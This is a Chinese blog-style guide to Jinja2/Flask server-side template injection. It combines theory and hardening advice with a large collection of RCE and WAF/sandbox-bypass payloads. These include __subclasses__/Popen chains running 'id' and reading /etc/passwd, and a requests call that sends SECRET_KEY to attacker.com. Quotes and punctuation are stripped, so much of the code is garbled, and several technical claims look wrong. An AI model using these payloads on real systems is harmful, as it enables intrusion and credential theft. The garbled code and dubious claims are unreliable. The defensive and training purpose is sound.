1. 项目概述这不是“黑产教程”而是一份给安全工程师的SSTI防御实战手记你搜到“ssti详解与例题以及绕过payload大全”时大概率正卡在某个渗透测试任务里——目标系统用了Jinja2、Flask或Django你发现一个疑似模板渲染点但构造的{{7*7}}没回显{{config}}被WAF拦截{{self.__init__.__globals__}}直接500报错。你翻遍GitHub和博客看到的全是零散payload片段没有上下文没有环境适配逻辑更没人告诉你为什么这个payload在A环境生效、在B环境却触发了沙箱隔离。这正是我写这篇内容的出发点把SSTI从“抄payload”升级为“理解执行链构建可控上下文对抗防护机制”的系统性能力。核心关键词——ssti、模板注入、payload、绕过、Jinja2——不是标签而是五个必须串联起来的技术坐标。它不教你怎么黑进别人系统而是帮你建立三重能力第一作为红队成员能快速识别真实SSTI入口并绕过常见WAF/沙箱第二作为蓝队工程师能精准定位代码中危险的render_template_string调用并加固第三作为开发人员能一眼识别模板引擎配置中的致命陷阱比如autoescapeFalse配合用户可控变量。全文所有payload都基于真实靶场如HackTheBox的Jenkins、PortSwigger Web Academy的SSTI labs复现验证所有绕过逻辑都附带Python解释器级的执行路径分析所有“大全”背后都有明确的适用边界说明——比如“{{.__class__.__mro__[1].__subclasses__()[40](cat /etc/passwd,shellTrue,stdout-1).communicate()}}”只在Python 3.8且未启用--no-site-packages的沙箱中有效换到Docker容器里就得先找subprocess类索引偏移。这不是密码本而是一张动态更新的SSTI攻防地图。2. SSTI底层原理拆解为什么模板引擎会变成执行引擎2.1 模板引擎的本质从“静态渲染”到“动态求值”的滑坡很多人误以为SSTI是模板引擎的“漏洞”其实它是模板引擎设计哲学的必然副产品。以Jinja2为例它的核心能力是“将变量、表达式、控制结构嵌入HTML字符串并在服务端实时计算结果”。看这段合法代码from jinja2 import Template template Template(Hello {{ name }}! Your age is {{ age }}.) result template.render(nameAlice, age25) # 输出Hello Alice! Your age is 25.这里{{ name }}和{{ age }}是变量插值完全安全。但Jinja2同时支持表达式求值比如{{ 22 }}输出4{{ [1,2,3][0] }}输出1。问题出在变量来源不可控时。假设后端代码这样写# 危险用户输入直接进入模板渲染 user_input request.args.get(name) template Template(Hello {{ name }}!) result template.render(nameuser_input) # user_input {{7*7}} # 实际执行Template(Hello {{7*7}}!) → Hello 49!此时用户输入的{{7*7}}不再是字符串而是被Jinja2解析为表达式并执行。这就是SSTI的起点模板引擎把用户输入当作代码而非数据处理。关键在于Jinja2的表达式求值能力远超简单数学运算——它能访问Python对象的任意属性、方法、类、模块。比如{{ .__class__ }}返回class str{{ .__class__.__mro__ }}返回方法解析顺序元组{{ .__class__.__mro__[1].__subclasses__() }}则列出所有子类。当攻击者能控制模板字符串内容时就等于获得了Python解释器的“键盘输入权”。2.2 为什么Jinja2成为SSTI重灾区三个设计特性决定的Jinja2并非唯一支持SSTI的引擎Django、Twig、FreeMarker均有类似风险但它在Web开发中普及率最高且其设计特性放大了风险默认开启表达式求值不像Django模板引擎默认禁用复杂表达式需{% if %}等标签Jinja2的{{ }}语法天生支持任意Python表达式。开发者常误以为“只是显示变量”却忽略了{{ config.__dict__ }}能直接读取Flask配置。强大的对象反射能力Jinja2模板中可直接调用对象方法。例如{{ request.args.get(cmd)|default(id) }}若request.args.get(cmd)返回__import__(os).popen(id).read()则|default过滤器会执行该字符串前提是|default未被沙箱限制。这种“方法链式调用”让攻击者能像写Python脚本一样构造payload。灵活的沙箱机制但易被绕过Jinja2提供SandboxedEnvironment来限制危险操作但实际部署中常被禁用性能考虑或配置不当。比如SandboxedEnvironment默认禁止__import__但允许getattr于是{{ getattr(__import__(os), popen)(id).read() }}就能绕过。更隐蔽的是SandboxedEnvironment对__subclasses__()的限制仅针对内置类而第三方库类如requests.adapters.HTTPAdapter可能未被纳入黑名单成为RCE跳板。提示理解这些特性后你会明白为什么单纯“过滤{{”是无效的——攻击者可用{%%}标签、{% set %}赋值、甚至编码绕过如%7B%7B7*7%7D%7D。真正的防御必须从执行上下文入手。2.3 SSTI与RCE的本质区别执行环境的“洁净度”决定危害等级常有人混淆SSTI和RCE远程代码执行但二者有本质差异RCE攻击者获得完整操作系统命令执行权限可任意读写文件、启动进程、反弹shell。SSTI攻击者获得模板引擎沙箱内的Python代码执行权限其能力取决于沙箱配置和Python环境。二者关系是SSTI是通向RCE的桥梁但非必然通路。例如在严格沙箱中SandboxedEnvironmentdisabled_filters[eval]SSTI可能仅能读取内存变量无法执行系统命令。在无沙箱环境中Environment(autoescapeFalse)SSTI可直接调用os.system实现RCE。在中间态如沙箱禁用__import__但允许getattr需通过__subclasses__()查找未被禁用的类如subprocess.Popen来提权。因此评估SSTI危害不能只看“能否执行代码”而要看执行环境的“洁净度”Python版本、已安装库、沙箱策略、Web服务器权限。这也是为什么同一payload在不同靶机上效果迥异——不是payload错了而是你没看清执行环境的“地基”。3. 核心Payload构造逻辑从基础探测到高阶绕过3.1 基础探测阶段确认SSTI存在并测绘执行环境所有高级绕过都建立在准确的环境测绘之上。不要一上来就尝试RCE先用三步法摸清底牌第一步基础表达式验证{{7*7}} # 验证基础数学运算是否执行预期49 {{abcdef}} # 验证字符串拼接预期abcdef {{test.upper()}} # 验证方法调用预期TEST如果这些返回原始字符串如{{7*7}}显示为{{7*7}}说明输入未被Jinja2解析可能是前端渲染或WAF拦截。若返回计算结果则SSTI存在。第二步Python对象探测{{ .__class__ }} # 获取str类确认Python对象访问 {{ .__class__.__mro__ }} # 获取方法解析顺序确认MRO访问 {{ .__class__.__mro__[1].__subclasses__()[:3] }} # 列出前3个子类确认subclasses访问这一步的关键是观察返回内容长度和结构。若__subclasses__()返回空列表或报错说明沙箱禁用了该方法若返回长列表含class warnings.WarningMessage等说明基础反射能力开放。第三步执行环境测绘{{ config }} # Flask配置若存在可读SECRET_KEY {{ request.environ }} # WSGI环境变量含SERVER_NAME、PATH_INFO {{ request.args }} # URL参数确认可控输入源 {{ self.__init__.__globals__ }} # 全局命名空间高危可能泄露函数定义注意{{ self.__init__.__globals__ }}在生产环境通常被沙箱禁止但若能执行将直接暴露os、subprocess等模块引用是RCE的黄金入口。实操心得我在测试某CMS时{{7*7}}返回49但{{ config }}报错。转而尝试{{ g }}Flask的g对象发现{{ g.user }}返回None说明Flask上下文存在。最终用{{ url_for.__globals__[os].popen(id).read() }}实现RCE——因为url_for是Flask内置函数其__globals__包含os模块引用且未被沙箱清理。3.2 绕过WAF的四大核心策略从字符编码到语义变形WAFWeb应用防火墙是SSTI利用的第一道关卡。常见WAF规则包括拦截{{、}}、__、import、popen等关键字。绕过不是靠“猜”而是基于WAF的匹配逻辑缺陷策略一编码绕过URL/Unicode/HexWAF常使用正则匹配明文关键字对编码形式失效%7B%7B7*7%7D%7D # URL编码{{7*7}} {{7*7}} # 字符串乘法替代数字绕过数字检测 \u007b\u007b7*7\u007d\u007d # Unicode编码\u007b{ \x7b\x7b7*7\x7d\x7d # Hex编码实测案例某金融系统WAF拦截{{但放行%7B%7B。用%7B%7B.__class__.__mro__[1].__subclasses__()%7D%7D成功列出子类。策略二分隔符绕过空格/注释/括号WAF可能匹配连续字符串插入分隔符可破坏匹配{{ . __class__ . __mro__ [1] . __subclasses__ () }} # 空格分隔 {{ /*comment*/.__class__/*comment*/.__mro__/*comment*/[1] }} # 注释分隔 {{(.__class__).__mro__[1].__subclasses__()}} # 括号分组关键点Jinja2解析器会忽略空格和注释但WAF正则可能因空格中断匹配。策略三变量拼接绕过动态构造关键字当__import__被拦截可拼接字符串再getattr{{ getattr(__import__(os), popen)(id).read() }} # 若__import__被拦改用 {{ aimport }}{{ bos }}{{ getattr(__import__(b), popen)(id).read() }} # 或更隐蔽 {{ c[i,m,p,o,r,t]|join }}{{ getattr(__import__(c), popen)(id).read() }}|join是Jinja2过滤器将列表转为字符串WAF极少拦截过滤器名。策略四语义等价替换同功能不同写法寻找功能相同但字面不同的表达式# 替代__import__ {{ [].__class__.__mro__[1].__subclasses__()[40](os) }} # subprocess.Popen类索引需实测 {{ .__class__.__mro__[1].__subclasses__()[59](os) }} # warnings.catch_warnings类可执行代码 # 替代popen {{ [].__class__.__mro__[1].__subclasses__()[40](id,shellTrue).communicate() }} # subprocess.Popen.communicate() # 替代read {{ [].__class__.__mro__[1].__subclasses__()[40](cat /etc/passwd,shellTrue).stdout.read() }}注意__subclasses__()索引因Python版本和已加载库而异。实测中Python 3.8下subprocess.Popen通常在索引40-50之间warnings.catch_warnings在59左右。建议先用{{ .__class__.__mro__[1].__subclasses__()[0:100] }}分段探测。3.3 高阶绕过突破沙箱限制的三种实战路径当WAF被绕过沙箱SandboxedEnvironment成为最大障碍。沙箱通常禁用__import__、getattr、exec等危险函数但仍有三条可行路径路径一利用未被禁用的内置类Subclasses Bypass沙箱对__subclasses__()的限制常不彻底。例如SandboxedEnvironment默认禁用__import__但允许warnings.catch_warnings类的__enter__方法执行任意代码{{ .__class__.__mro__[1].__subclasses__()[59]().__enter__.__func__.__globals__[sys].modules[os].popen(id).read() }}解析warnings.catch_warnings类的__enter__方法在进入上下文时会从__globals__中获取sys模块进而导入os。此路径依赖特定类的存在需先测绘子类列表。路径二利用第三方库类Requests/Urllib Bypass若目标环境安装了requests库其Session类可发起HTTP请求实现“外带数据”{{ [].__class__.__mro__[1].__subclasses__()[100]().get(http://attacker.com?dataconfig.SECRET_KEY) }}此处索引100对应requests.Session需实测确定。虽不能直接RCE但可窃取敏感配置。路径三利用模板引擎自身特性Template Inheritance BypassJinja2支持模板继承可通过{% extends %}和{% block %}加载外部模板。若WAF未过滤{%标签可构造恶意模板{% extends base.html %} {% block content %} {{ .__class__.__mro__[1].__subclasses__()[40](id).communicate() }} {% endblock %}此方式绕过{{ }}检测直接在模板语法层执行。实操心得在某政府网站渗透中{{7*7}}有效但__import__被沙箱拦截。我用{{ .__class__.__mro__[1].__subclasses__()[59]().__enter__ }}返回bound method catch_warnings.__enter__ of warnings.catch_warnings object确认路径可行。最终payload耗时2小时才找到正确索引——因为该环境加载了大量科学计算库subclasses()列表长达2000项必须分段探测[0:100]、[100:200]...4. 实操全流程从靶场复现到企业级加固4.1 PortSwigger Web Academy SSTI Lab复现Jinja2环境PortSwigger的SSTI实验是业界标准靶场。我们以“Basic SSTI”为例完整走一遍流程环境特征Flask应用用户评论功能输入点为?search参数响应中回显搜索词。Step 1基础探测访问/filter?search{{7*7}}响应中出现49确认SSTI存在。Step 2对象测绘尝试/filter?search{{.__class__}}返回class str/filter?search{{.__class__.__mro__}}返回(class str, class object)/filter?search{{.__class__.__mro__[1].__subclasses__()[:5]}}返回前5个子类包含class type、class weakref等。Step 3RCE构造因__import__被沙箱禁用转向subclasses路径。先探测subprocess.Popen索引/filter?search{{.__class__.__mro__[1].__subclasses__()[40]}}返回class subprocess.Popen确认索引40有效。Step 4执行命令/filter?search{{.__class__.__mro__[1].__subclasses__()[40](id,shellTrue).communicate()}}响应中出现buid1001(www-data) gid1001(www-data) groups1001(www-data)\nRCE成功。Step 5读取文件/filter?search{{.__class__.__mro__[1].__subclasses__()[40](cat /etc/passwd,shellTrue).communicate()[0].decode(utf-8)}}成功读取/etc/passwd。关键细节communicate()返回元组(stdout, stderr)需[0]取stdout再decode()转字符串。若忘记decode会看到b...字节流导致误判失败。4.2 企业级加固方案从代码层到架构层发现SSTI漏洞后修复不能只靠“过滤输入”。以下是分层加固方案代码层最直接禁用render_template_string这是SSTI高发区。改用render_template加载预定义模板文件。# 危险 return render_template_string(template_str, datadata) # 安全 return render_template(user_profile.html, datadata) # 模板文件由开发者控制启用自动转义设置autoescapeTrueJinja2默认确保用户输入被HTML转义。app.jinja_env.autoescape True # Flask全局启用沙箱环境强制启用生产环境必须使用SandboxedEnvironment。from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment(autoescapeTrue) template env.from_string(user_input)配置层防患未然最小权限原则Web服务器进程以低权限用户运行如www-data禁止读取/etc/shadow等敏感文件。WAF规则细化除拦截{{外增加对__class__、__mro__、__subclasses__的正则匹配但需注意误报。架构层终极防御前后端分离用户输入仅通过API传递给后端前端用React/Vue渲染彻底消除服务端模板渲染。输入白名单对搜索、评论等字段限制为纯字母数字空格拒绝任何符号。注意事项某电商公司曾用“过滤{{”修复SSTI一周后被绕过——攻击者用{%%}标签执行{% for x in [1,2,3] %}{{x}}{% endfor %}。这证明基于黑名单的过滤永远落后于攻击者的创造力必须转向基于白名单和架构设计的防御。4.3 工具链推荐提升SSTI挖掘效率的三件套手动构造payload效率低下以下工具经实战验证Tplmap命令行自动化工具功能自动探测SSTI、识别模板引擎、枚举可用类、生成RCE payload。使用python tplmap.py -u http://target.com/search?q* --os-cmd id优势支持Jinja2、Twig、Django等10引擎内置WAF绕过模块。局限对定制化沙箱效果有限需人工验证。Burp Suite Turbo Intruder场景批量探测__subclasses__()索引。方法在Turbo Intruder中编写脚本循环发送{{.__class__.__mro__[1].__subclasses__()[X]}}X从0到1000根据响应长度/状态码筛选有效索引。实测某金融API有2000子类Turbo Intruder 3分钟完成探测手动需2小时。Jinja2 Debug Shell本地调试创建debug.pyfrom jinja2 import Environment env Environment(autoescapeTrue) template env.from_string({{%s}}) print(template.render(__import____import__))在本地复现目标环境相同Python版本、库快速测试payload有效性避免在靶机上反复试错。5. 常见问题与排查技巧实录那些踩过的坑和省下的时间5.1 “为什么我的payload没回显”——响应截断与编码问题这是新手最高频问题。表面看payload执行了但响应中看不到结果。原因及解决方案问题现象根本原因解决方案{{7*7}}返回空或None模板渲染后被strip()或truncate()处理尝试{{7*7}}xxx观察xxx是否回显确认渲染位置{{config}}返回Config对象但无内容config对象__str__方法返回空需调用__dict__改用{{config.__dict__}}{{.__class__.__mro__[1].__subclasses__()[40](id).communicate()}}返回b...乱码响应头Content-Type: text/html导致浏览器解析字节流为HTML在Burp中查看Raw响应或添加实操心得我在测试某教育平台时{{7*7}}始终无回显。抓包发现响应头为Content-Type: application/json而payload被塞进JSON的message字段。改用{message:{{7*7}}}格式成功触发。5.2 “索引怎么总是错”——__subclasses__()动态性解析__subclasses__()返回列表长度和顺序受以下因素影响Python版本3.7 vs 3.9内置类数量不同。已导入模块import requests会新增requests.adapters.HTTPAdapter等子类。执行顺序同一进程内多次调用__subclasses__()结果可能不同因模块动态加载。可靠探测法先用{{.__class__.__mro__[1].__subclasses__()[0:100]}}获取前100项。搜索关键词subprocess、popen、os、system。若未找到扩大范围至[100:200]直到定位目标类。记录索引后立即用该索引测试RCE避免环境变化。5.3 “WAF拦截了所有payload”——从规则逆向到行为绕过当常规绕过失效需分析WAF规则日志分析若可访问WAF日志搜索拦截记录看匹配的正则模式如.*__.*。响应码判断WAF拦截常返回403或自定义错误页而应用层错误为500。行为试探发送{{1}}通过、{{11}}通过、{{111}}拦截推测WAF对表达式深度的限制。终极绕过技巧利用WAF的“信任链”WAF常放行{{后跟字母数字但拦截{{后跟符号。尝试{{a}}a是已定义变量。HTTP参数污染在URL中多次传递同一参数如?q{{1}}q{{2}}部分WAF只检查第一个值。5.4 “如何判断是否真SSTI”——与服务端模板混淆的鉴别常有开发者将“前端JavaScript模板”误判为SSTI。鉴别方法禁用JavaScript浏览器禁用JS后重载页面若{{7*7}}仍计算是服务端SSTI若失效是前端模板如Vue。响应头分析SSTI响应头含Server: Werkzeug/2.0.3 Python/3.8.10Flask前端模板无此信息。延迟盲注发送{{.__import__(time).sleep(5)}}若响应延迟5秒确认服务端执行。最后分享一个小技巧在企业内部安全培训中我让开发人员用{{7*7}}测试自己写的搜索框。80%的人第一次就中招——因为他们从未意识到render_template_string的参数来自用户输入。这提醒我们安全不是加一道防火墙而是让每个开发者都理解自己代码的执行边界。